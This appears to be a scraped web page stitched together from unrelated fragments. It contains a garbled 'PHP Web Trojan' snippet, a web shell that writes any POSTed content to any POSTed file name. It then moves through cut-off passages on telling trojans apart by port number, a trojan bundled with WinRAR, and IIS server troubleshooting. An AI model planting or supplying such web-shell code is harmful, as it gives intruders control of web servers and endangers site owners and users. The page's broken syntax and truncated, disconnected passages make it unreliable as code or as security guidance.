trojan horse virus example

PHP Web Trojan Copy Code code as follows: Header ("content-type:text/html; charset=gb2312 "); if (GET_MAGIC_QUOTES_GPC ()) foreach ($_post as $k => $v) $_post[$k] = stripslashes ($v); ?> Save file name: if (isset ($_post[' file ')) { $fp = @fopen ($_post[' file '], ' WB '); Echo @fwrite ($fp, $_post[' text '))? ' Save success! ': ' Save failure! ' @fclose ($FP); } ?> Word PHP

Q: How can I determine from the port whether it is a virus or a trojan? A: ports can be divided into three categories: 1. Well Known Ports: from 0 to 1023, they are closely bound to some services. Usually the communication between these ports clearly indicates a service protocol. For example, port 80 is always HTTP Communication. 2. register the port (Register

and Server.exe, you can be sure that this server.exe is a trojan, that is, the legend of Friends of the world's biggest culprit. Because it can be opened directly with WinRAR, the author concluded that it was made by WinRAR, and now the author began to decrypt its production process. First of all, there is the ICO (icon) file of the picture file (which can be extracted using other software, the author is not here to describe the detailed process), as

We know that the IIS server is now a widely used Web platform and it is relatively simple to build a Web site. However, during use, the Web cannot run properly due to improper IIS server settings or other reasons, which is very common. As a Web administrator, it is particularly important to master the necessary troubleshooting skills to solve IIS server faults. Permission allocation to prevent virus and Trojan